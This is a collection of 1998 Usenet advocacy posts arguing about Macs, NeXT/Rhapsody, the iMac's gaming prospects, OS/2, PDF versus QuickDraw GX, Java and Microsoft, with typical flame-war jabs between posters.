References: <357DB62A.6D843E17@alum.mit.edu> <6lm54c$iqs@btmpjg.god.bel.alcatel.be> <3583A6E8.7C5A@southwind.net> <01bd989a$d79a96a0$04387880@test1> <35859105.7802997@nstar.net>
On Mon, 15 Jun 1998 16:24:21 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>> Other interesting examples:
>> IBM's OS/2, killed off by Window 3.x, 95, and NT
>IBM hedged its committment to OS/2 continually.
I *thought* this; I used to have a neighbour that worked for the PC
Division, and I did a touch of "OS/2 ribbing," and got the definite
feeling that the PC Division had never stood behind OS/2 *at all.*
I have since seen some evidence suggesting that that is an insufficient
description of affairs, and that it is also necessary to look at
technical matters.
The other story I hear is that IBM *did* have *serious* committment to
what they intended to be their next OS platform, "Workplace OS," and
that the "hedging" of OS/2 support was not so much anti-OS/2 as it was a
"pledge of fealty" to make sure Workplace OS *was* supported.
In the "Workplace OS" world, OS/2 would have been the "desktop" front
end, and UNIX (in some form) would have been the "server" front end.
And it surely seems to me that this would have been a better thing than
the W95/NT path.
The Workplace OS effort failed, for a variety of reasons including
technical ones. (Endianness problems have been attributed an ample
share of blame...)
And by the time that Workplace OS was clearly "dead," OS/2 had been left
alone for long enough that Microsoft had been ahead for so long that IBM
*couldn't* bring OS/2 up to speed to be a realistic frontline competitor
to either W95 or NT.
--
"What you end up with, after running an operating system concept
through these many marketing coffee filters, is something not unlike
plain hot water." (By Matt Welsh)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
Message-ID: <3585EAFA.D616EA53@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <sam-1506981534110001@203.21.125.60> <3585335A.8E6F1978@spamtoNull.com> <cirby-1506981531060001@pm53-28.magicnet.net>
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Content-Transfer-Encoding: 7bit
Date: Tue, 16 Jun 1998 03:44:10 GMT
NNTP-Posting-Date: Tue, 16 Jun 1998 03:44:10 GMT
Organization: MCI2000
Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > The Apple list is, of course, a PR gimmick and woefully out of date.
>
> Yes- there are certainly more companies out there that aren't listed.
>
> Thanks for pointing that out...
> --
Since you insist on ignoring the obvious....:)
What I mean was that (and I do think I expressed this clearly) it
doesn't matter at all how "long" your purported developer list is. What
matters is how long your shipping products list is. Obviously, Apple
chose to present its prospective developer list because it's a much
longer list. There's nothing unusual about this and Apple certainly
isn't the only company to have approached the issue that way.
Ah, yes...You're welcome!....:)
Message-ID: <3585ECD3.59D2CFF3@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com>
Content-Type: text/plain; charset=us-ascii
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Date: Tue, 16 Jun 1998 03:52:03 GMT
NNTP-Posting-Date: Tue, 16 Jun 1998 03:52:03 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> As much as I think 3dFX support for the iMac would be cool, I don't think
> the iMac target audience wants to add cards to the computer. If they did,
> they might buy a machine with slots.
Aren't you a bit ahead of yourself? I mean, the "target audience" is not
yet a real market for Apple, but just a hypothetical one at this point.
Right now, we don't know how well or how poorly the iMac will sell. If
it does sell poorly, as I think it will with the possible exception of
third-world countries--provided Apple can bump down the sticker
price--it will be precisely because there's no internal PCI expansion
capability, IMHO.
Remember, Jobs is "targeting" the iMac as a *gaming* platform. As a
*gaming* platform that cannot be upgraded to decent 3d hardware
acceleration, how well do you imagine the iMac will fit *that* target
audience?
>
> My brother bought a Playstation for games because he felt that PCs were too
> much work just for a game. He doesn't want to "install" anything. He wants
> to plop the game in and play. I can't say I blame him.
>
That's why he'll stick with the Playstation and avoid the iMac as well.
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Mon, 15 Jun 1998 23:06:43 -0500
Organization: Tormenta Software
Message-ID: <j-jahnke-1506982306430001@dapple.tormenta.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com>
In article <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com>,
jdoherty@ix.netcom.com (John Doherty) wrote:
> And what specifically is it you want to do with PDF that requires pages
> in excess of 45" square? Remember, this has to be some practical use,
> not some theoretical pie in the sky. That's the thing about GX: it
> allowed for all sorts of pie in the sky, but never any practical uses.
Hey John,
My gripe with PDF has been that Acrobat Reader can't print they way I need
to print. The GX portable documents could indeed print even and odd pages.
It has been YEARS now and I still can't do that with Acrobat files unless
I export them to PS and massage them with MPW (thanks for that script
BTW.) The least Adobe could do is make it useable. It seems that since PDF
is postscript and since Adobe should know post script and since my printer
is postscript that something this trivial should be... well... trivial.
Jer,
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 05:16:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m4v3b$vvg$1@nnrp1.dejanews.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <sam-1506981534110001@203.21.125.60>
In article <sam-1506981534110001@203.21.125.60>,
sam@a2b.com.au (Sam Vaughan) wrote:
> A list on Apple's site dated January 6, 1997 includes:
[Long list deleted]
Some of the companies on the list are not game publishers. For example,
Advanced Gravis makes game controllers and Inside Mac Games is a gaming
mazagine. Others on the list have stated that they have no future plans to
create Mac software e.g. ID Software.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Mon, 15 Jun 1998 21:40:30 -0500
Organization: (none)
Message-ID: <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz>
In article <ldo-1106982011210001@a7.hn3.wave.co.nz>,
ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) wrote:
| The fact that, in all the years that PDF has been around, no one (not
| even Adobe) has been able to come up with an implementation that does
| any better?
PDF hasn't been around for all that many years yet. I don't remember
when I first got Distiller, but it's only been a couple or three years,
and I got it pretty soon after it was released.
I'm not sure that QDGX 1.0 wasn't released before Distiller 1.0, but
I don't remember. If it wasn't, it wasn't released too much later.
So whatever you mean by "all the years" applies about as much to
GX as it does to PDF, and perhaps even more to GX.
I do know that my copy of GX Typography is dated 1994, and I'm quite
sure that I didn't have Distiller in 1994.
You complain that "not even Adobe" has a better PDF viewer than Reader.
Why not complain that "nobody but Apple" has a GX viewer at all?
And what specifically is it you want to do with PDF that requires pages
in excess of 45" square? Remember, this has to be some practical use,
not some theoretical pie in the sky. That's the thing about GX: it
allowed for all sorts of pie in the sky, but never any practical uses.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 00:23:32 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1606980023330001@jchristie.halifaxcable.dal.ca>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu> <*johnnyc*-1506982043530001@jchristie.halifaxcable.dal.ca> <cirby-1506982105400001@pm55-36.magicnet.net>
In article <cirby-1506982105400001@pm55-36.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
> > Well, it won't, and cannot happen (soon). While the Playstation is no
> > super machine it simply is much too powerful for the current Macs to fully
> > emulate.
>
> Not really. The Playstation isn't really that high-powered in real
> terms. Nothing like the N64, for example.
I didn't say it was. However, emulating it takes multiples of that
performance.
> The R3000 processor in the Playstation is only so-so in current terms, for
> example, and the PS only has two megs of RAM. The graphics engine is only
> about equal to the ATI chip in the older model G3 Power Macs, and about
> half the speed of the newer ones.
Hardware emulation of the older ATI chip could not be accomplished by
the newer ATI chip (at playable speeds). It probably coudn't be
accomplished by the next ATI chip. Emulation typically takes 4:1 speed
hit at least. Look at the math specs of the G3. Easily 4 times the speed
of a regular low end pentium. However, it just barely emulates it.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Message-ID: <3585E616.CA974A8D@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
Content-Type: text/plain; charset=us-ascii
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Date: Tue, 16 Jun 1998 03:23:17 GMT
NNTP-Posting-Date: Tue, 16 Jun 1998 03:23:17 GMT
Organization: MCI2000
Lawson English wrote:
>
>
> And this could be remedied if they created "personality cards" for the 3D
> accelerator and other hardware features. If you wanted a faster 3D option,
> you could take it to the local Mac dealer and have him/her upgrade it for a
> modest fee.
>
> Even gives Jobs his anal-retentive full control of hardware that he so
> dearly loves.
>
Yes, but then how could Apple do a $600 box and sell it for $1200?....:)
Answer: you leave out a *lot* of stuff....:) It's good old Stevie seeing
sugar plums dancing in his head again....
"Ah, if only I make it *look* cool, these fools will buy it by the
truckload because it's an Apple and because *I* say it's *so cool!*
Geesh, I'm so brilliant! I really should run for President next year,
shouldn't I?".....(answers self in deep voice) "Yes, you should!"
(Replies to self in high-pitched squeal) "OK, it's a done deal!" Whips
out tongue, catches and eats passing fly. Belches.
--and so it goes, on and on, day after day, in the High Tower of
Cupertino.
....:):)
Message-ID: <3585EA07.BDE7E2C6@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com> <cirby-1506981529250001@pm53-28.magicnet.net>
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Date: Tue, 16 Jun 1998 03:40:11 GMT
NNTP-Posting-Date: Tue, 16 Jun 1998 03:40:11 GMT
Organization: MCI2000
Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > As far as being "audibly superior" goes, what prompts you to make this
> > statement? Is the sound subsystem in the iMac PCI? Even cheap PC clones
> > can be fitted with PCI sound right now for around $100, which is
> > natively capable of CD-Quality sound reproduction. What's in the iMac
> > that prompts you to pronounce it better?
>
> CD-quality sound that's been in the Mac for almost fifteen years now,
> which *works*, and which you don't need special drivers or add-ons for to
> get that same CD-quality sound.
First, the relevant topic is "today." While it may tweak your
sentimental bones to talk about "fifteen years ago" I submit that
"fifteen years ago" is quite irrelevant.
CD-Quality sound in PCs is actually old hat as well, and I certainly
didn't mean to imply that it's new. What is new, however, is the advent
of PCI-bussed sound circuitry in PCs which performs extremely well.
What's in the iMac that is so demonstrably better? I can't think of
anything.
As far as "special drivers" go, what do you mean? For its sound system,
the iMac uses "special drivers," too. They're included in the Mac OS, or
didn't you know? Just because Apple hides the drivers for the hardware
it uses in the OS or in ROM is no reason to believe Apple uses hardware
that requires no software drivers under the Mac OS.
As far as "works" goes, what do you mean? The products I am referring to
all "work" just fine. It's hard to imagine how they'd sell if they
didn't "work."....:)
>
> Those "cool" new PC sound cards are just now catching up to the quality of
> what's been in Macs for *years*, and you think it's some sort of
> advantage?
> --
I think you may have that backwards, actually. It's Apple who seems in a
big hurry to "catch up," lately. Ever heard of USB, PCI, and AGP? Apple
is reported to have AGP machines on the drawing board slated for release
sometime next year. How about hard drive control hardware? In the iMac
and the G3 desktops, native Mac controllers are IDE and do not yet even
bus master or do advanced DMA, which is now the PC standard. The scsi
expansion cards Apple is using in its PCI-slotted Macs are no different
at all from their PC counterpoints, except that Apple is much, much
later in deploying them. No slam here--just the facts.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 21:21:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AB40B9-14887@206.165.43.221>
References: <slrn6ob60k.5nf.sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Salvatore Denaro <sal@panix3.panix.com> said:
>On 15 Jun 1998 10:33:00 -0700, Lawson English <english@primenet.com>
>wrote:
>>And this could be remedied if they created "personality cards" for the 3D
>>accelerator and other hardware features. If you wanted a faster 3D
option,
>>you could take it to the local Mac dealer and have him/her upgrade it for
a
>>modest fee.
>
>As much as I think 3dFX support for the iMac would be cool, I don't think
>the iMac target audience wants to add cards to the computer. If they did,
>they might buy a machine with slots.
>
>My brother bought a Playstation for games because he felt that PCs were
>too
>much work just for a game. He doesn't want to "install" anything. He wants
>to plop the game in and play. I can't say I blame him.
>
IT's an upgrade done by the *dealer*, not by the end-user.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 15 Jun 1998 21:45:32 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1506982145320001@208.21.174.26>
References: <355AEC05.AB097DC4@milestonerdl.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com> <*johnnyc*-1406980722450001@jchristie.halifaxcable.dal.ca> <tbrown-1406981259330001@mv067.axom.com> <*johnnyc*-1406981744560001@jchristie.halifaxcable.dal.ca> <tbrown-1506980018060001@mv103.axom.com> <3584b3ba.0@news.depaul.edu> <tbrown-1506981800570001@mv114.axom.com>
NNTP-Posting-Date: 16 Jun 1998 02:45:39 GMT
In article <tbrown-1506981800570001@mv114.axom.com>, tbrown@netset.com
(Ted Brown) wrote:
: In article <3584b3ba.0@news.depaul.edu>, Jonathan W Hendry
: <jhendry@shrike.depaul.edu> wrote:
:
: >> Some of the screen shots of Rhapsody DR2 show an amazing semblance to a
: >> mac-ified Workspace Manager. Somehow I don't think Apple would have
: >> bothered to move the NSBrowser view to the new Finder before finishing up
: >> the rest of the port.
: >
: >Um, I'd guess that the Rhapsody Finder is mostly made of Workspace code.
: >I'd be pretty surprised if they really did a ground-up port. They're
: >only going to ship one version of Rhapsody, then they're going to
: >ship MacOSX, with a Carbon Finder. So a full-Yellow Finder isn't
: >going to ship until sometime in 2000, at the earliest. Why do a
: >full port now, then mothball it?
: >
:
: So maybe you'll tell me, what about the Rhapsody Finder isn't suitable for
: the average Mac user? How's it worse than the current OS 8 Finder? The
: Workspace Manager was already better than the Finder in some respects,
: though it's been a few years for me since I've used it (back when I used
: it, it was clearly better than the Finder, but the Finder has improved a
: bit since then).
:
Personally, I much prefer the Mac OS 8 Finder. The Rhapsody Finder doesn't
have contextual menus anywhere... the drive content windows don't size
correctly (i.e. you can't hit the zoom box and get the window to size to
the window's contents), there are no tabbed windows (pretty useful), there
is no way to label files, the Rhap Finder's menus are not well organized
(they are implemented exactly like my NeXT box), filename areas are all of
a uniform size in Rhap finder, its too easy to hit the part of the size
box that only allows an x-size or a y-size and its pretty hard to get to
get the very corner of the window for a size.
Anyhow, these are all little things, but they really make the Finder useful.
--
Web Information Solutions CEO <http://www.WebIS.net>
VersaCom Chief Technology Officer <http://www.VersaCom.com>
I don't speak for my employer, which oddly enough is myself
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X for G3 *ONLY*
Date: Mon, 15 Jun 1998 22:34:20 -0400
Organization: BM
Message-ID: <6m4lci$m6g$1@suriname.it.earthlink.net>
References: <Nu6g1.3687$Nr5.1864654@proxye1.san.rr.com>
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In article <Nu6g1.3687$Nr5.1864654@proxye1.san.rr.com> , "Ed Deans."
<eadeans@san.rr.com> wrote:
>Also demoed by Apple were the Powerbook G3 with Virtual PC 2.0 running NT
>Server (to serve the mini-network)
How was the speed of that?
Ziya
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com> <358136AC.C4DA11CC@bcomp.com> <6lslp0$8fa$2@ironhorse.plsys.co.uk> <joe.ragosta-1306980705520001@elk66.dol.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35842403.0@nnrp1.news.uk.psi.net>
Date: 14 Jun 98 19:26:59 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <6lslp0$8fa$2@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>
<SNIP>
>>
>> To all those feeling squeamish about Unix, I ask you to think about how
>> successful you want Apple to be. Do you think you might possibly be able to
>> put up with an application you'll never use taking up less than 1MB on your
>> hard drive, just so that Apple has a chance of selling a couple of thousand
>> more seats? If you still have the jitters, just think of the CLI as being a
>> sort of System-level AppleScript. AppleScript good? SystemScript double
>> plus good...
>
>Sure. But I can't see why you can't have both on one system.
The way I read it - that's just what he's saying. You definately CAN have both
on one system, and ideas that having the unix command line (Terminal.app) available
will somehow compromise the GUI are complete paranoia.
I think Malcolm is just annoyed because every time this topic has been mentioned in
this newsgroup, some Mac advocate has exhibited just such paranoia in spite of the
fact that their position is (apart from resting on tenuous arguments) demonstrably
wrong in practice - we do have NeXTstep as an example after all.
From: jmz@southwind.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Mon, 15 Jun 1998 00:15:02 +0000
Organization: None
Message-ID: <35846787.4A93@southwind.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176> <35749ed6.0@206.25.228.5> <mNOSPAMroeder-0306981149160001@192.168.21.176> <35771d95.13913887@news.supernews.com> <stone-ya02408000R1106981346290001@news.enetis.net>
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> Everyone plays video games, but everyone also works. The responsible
> choice is to purchase the computer that works best for you, then worry
> about the games. The Macintosh has fewer games, but that is NOT to say
> that it has "few" games. There are thousands of commercial and sharware
> games available for the Macintosh.
>
> That someone should choose their platform souly on the basis of games, is
> IMHO childish. Fortunately, I think when you look at the facts, very few
> users actualy do choose their platform based on how many games it runs. So
> in essence, you're right. It is one of the reasons why people buy
> computers... it is not generaly one of the reasons why people choose a Mac
> or PC. Both platforms run tons of games.
Neither is any good as a pure game platform.The PlayStation and
Nintendo 64 are good game platforms,but they are proprietary and most of
us would prefer an open standard for play-stations.
Still,if they were designed to drive a VGA monitor rather than a
TV,they'd be impressive indeed.
From: m__kilgore@hotmail.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: Tue, 16 Jun 1998 09:29:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m5dtk$j06$1@nnrp1.dejanews.com>
References: <357C11AF.D1BF8149@technologist.com> <slrn6nrbv9.1po.sal@panix3.panix.com> <6lodn8$2pi$1@nnrp1.dejanews.com> <6loi45$bu1$1@news0-alterdial.uu.net> <tsikesEuEG8p.DzD@netcom.com>
In article <tsikesEuEG8p.DzD@netcom.com>,
tsikes@netcom.com (Terry Sikes) wrote:
>
> In article <6loi45$bu1$1@news0-alterdial.uu.net>,
> M. Kilgore <mkilgore@nospam.prysm.net> wrote:
> >
> >The trouble with utopian thoughts like Java is that they remove the chances
> >of a system's maker differentiating his product from anybody else's. Thus,
> >whatever the utiopian thought with computers, like Java, we will always see
> >makers adding their extensions to the definition to make their own product
> >more marketable and we will, in turn, see programers that favor profit over
> >pureness of thought using those extensions. Java was doomed from its
> >inception.
> >
> >mark
>
> It seems you're unaware that anyone implementing Java is free to
> extend it however they see fit. They are _not_ free to change the
> core implementation, which is what Sun is suing Microsoft over.
>
> Far from being "doomed", Java is here to stay. Better get used to it.
>
> Terry
What's to get used to? COBOL is here to stay, too. The point is that Java, the
universal language, is only universal if programmers stick to the core
definition - programmers won't do that so Java will end up being just another
language.
mark
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 Jun 1998 04:46:16 GMT
Organization: Digital Fix Development
Message-ID: <6m4tao$88t$1@news.digifix.com>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com> <6m2nh8$irr$3@bolivia.it.earthlink.net>
In-Reply-To: <6m2nh8$irr$3@bolivia.it.earthlink.net>
On 06/15/98, "Ziya Oz" wrote:
>sanguish@digifix.com (Scott Anguish) wrote:
>
>>Sorry Lawson, but YB is essential to a major money making
>>beast at Apple, WebObjects..
>
>I have yet to see anyone from Apple refute the assertion that
WebObjects (a
>$40-$50M operation) contributed about $2M of profit to Apple's bottom
line in
>the last two quarters.
>
That's your assertion right?
I somehow doubt that good old Fred is going to open the books
to you..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 16 Jun 1998 05:17:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6oc005.8be.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
On Tue, 16 Jun 1998 03:52:03 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Remember, Jobs is "targeting" the iMac as a *gaming* platform. As a
>*gaming* platform that cannot be upgraded to decent 3d hardware
>acceleration, how well do you imagine the iMac will fit *that* target
>audience?
It's I-Mac, with the I standing for Internet. Not G-Mac. Gaming is secondary
to it's role. I don't know how well the ATI video compares to other video cards.
I doubt it is the fastest at either 3d or 2d, but I wouldn't be surprised if
was "just ok" in both.
BTW, 3d hardware could be added to the DAV port and run at 66mhz and 64bits
wide, FAIK. Or maybe the DAV port will be used for firewire. Apple hasn't
said anything. Maybe a PlayStation card?
>> My brother bought a Playstation for games because he felt that PCs were too
>> much work just for a game. He doesn't want to "install" anything. He wants
>> to plop the game in and play. I can't say I blame him.
>That's why he'll stick with the Playstation and avoid the iMac as well.
He'll stick to the playstation because it requires the minimal amount of
work to play games. No Mac or PC comes close.
--
sal@panix.com
Salvatore Denaro
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 16 Jun 1998 06:25:25 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35ac0f88.10359830@news.supernews.com>
References: <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <35e138b6.262092222@news.supernews.com> <35836C7C.DFFCE2B1@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Sun, 14 Jun 1998 06:23:56
>
>I've already stated that the burden of refutation is upon your
>shoulders.[...]
And you are wrong.
> I advocate passive government, you advocate activism. You
>must justify your proposed action. De facto activism is not justifiable.
I support the current legal system; you advocate radical change. I
would appreciate some justification of your position other than your
love of Microsoft and your dislike for my arguments.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: misc.test
Date: 16 Jun 1998 10:07:17 GMT
Organization: P & L Systems
Message-ID: <6m5g4l$5tv$1@ironhorse.plsys.co.uk>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<3585E616.CA974A8D@spamtoNull.com>
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Cc: Limeyville@spamtoNull.com
NOTE: FOLLOWUPS TO MISC.TEST
In <3585E616.CA974A8D@spamtoNull.com> Jonathan Harker wrote:
> Yes, but then how could Apple do a $600 box and sell it for $1200?....:)
> Answer: you leave out a *lot* of stuff....:) It's good old Stevie seeing
> sugar plums dancing in his head again....
>
It's not so good seeing Jonathan Harker posting mindless drivel again.
> "Ah, if only I make it *look* cool, these fools will buy it by the
> truckload because it's an Apple and because *I* say it's *so cool!*
>
And as a strategy, judging by the press response and advance orders, it seems
to be working.
> Geesh, I'm so brilliant! I really should run for President next year,
> shouldn't I?".....(answers self in deep voice) "Yes, you should!"
> (Replies to self in high-pitched squeal) "OK, it's a done deal!" Whips
> out tongue, catches and eats passing fly. Belches.
>
> --and so it goes, on and on, day after day, in the High Tower of
> Cupertino.
>
> ....:):)
>
Sadly you don't seem to have learned yet that gratuitously adding smileys
doesn't make you funny.
mmalc.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 16 Jun 1998 05:07:40 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3599fd85.5747174@news.supernews.com>
References: <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <6lrj04$hlm$15@gte1.gte.net> <35dc16d0.253413303@news.supernews.com> <35836DEA.4A5CBA28@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Sun, 14 Jun 1998 06:30:02
+0000,
>T. Max Devlin wrote:
>
>> But I'm not hear to supply proof, I'm here to engage in
>> intelligent discussion. If you can't keep up, I invite you to go browse
>> the web instead of clogging up this newsgroup with your trolls.
>
>Bah, you're running scared. You stand on completely foundationless
>arguments, and when asked to substantiate you do two things: call your
>opponent a troll and post long-winded commentary on irrelevant subjects.
>
>I'm done with you. It takes all types on USENET, I suppose.
>Unfortunately, that includes a generous helping of cowardly men like
>yourself.
In point of fact, Mike, this post contained absolutely no content.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
